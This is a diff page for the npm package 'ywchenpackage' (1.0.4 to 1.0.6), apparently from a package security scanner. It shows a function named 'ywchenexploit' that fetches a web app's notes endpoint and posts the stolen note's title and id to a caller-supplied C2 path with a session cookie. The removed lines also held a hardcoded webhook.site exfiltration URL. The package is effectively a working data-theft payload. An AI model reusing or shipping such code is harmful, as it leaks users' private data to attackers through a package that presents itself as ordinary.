ywchenpackage 1.0.4 → 1.0.6
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +13 -3
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,6 +1,5 @@
|
|
1
|
-
function ywchenexploit() {
|
1
|
+
function ywchenexploit(cookie, c2path) {
|
2
2
|
let stolenurl = "/api/notes/all";
|
3
|
-
let c2url = "https://webhook.site/21b9dee7-20fa-4f87-8591-610784ad1f2e";
|
4
3
|
fetch(stolenurl)
|
5
4
|
.then(
|
6
5
|
function(response){
|
@@ -8,7 +7,18 @@ function ywchenexploit() {
|
|
8
7
|
}
|
9
8
|
).then(
|
10
9
|
function(response){
|
11
|
-
|
10
|
+
let stolen = response[0];
|
11
|
+
stolen.author = "aaaa";
|
12
|
+
fetch(
|
13
|
+
c2path, {
|
14
|
+
method: "POST",
|
15
|
+
headers: {
|
16
|
+
"content-type": "application/json",
|
17
|
+
"cookie": "session="+cookie
|
18
|
+
},
|
19
|
+
body: JSON.stringify({"title":stolen.title+"_leak","content":stolen.id})
|
20
|
+
}
|
21
|
+
);
|
12
22
|
})
|
13
23
|
return "hello NPM"
|
14
24
|
}
|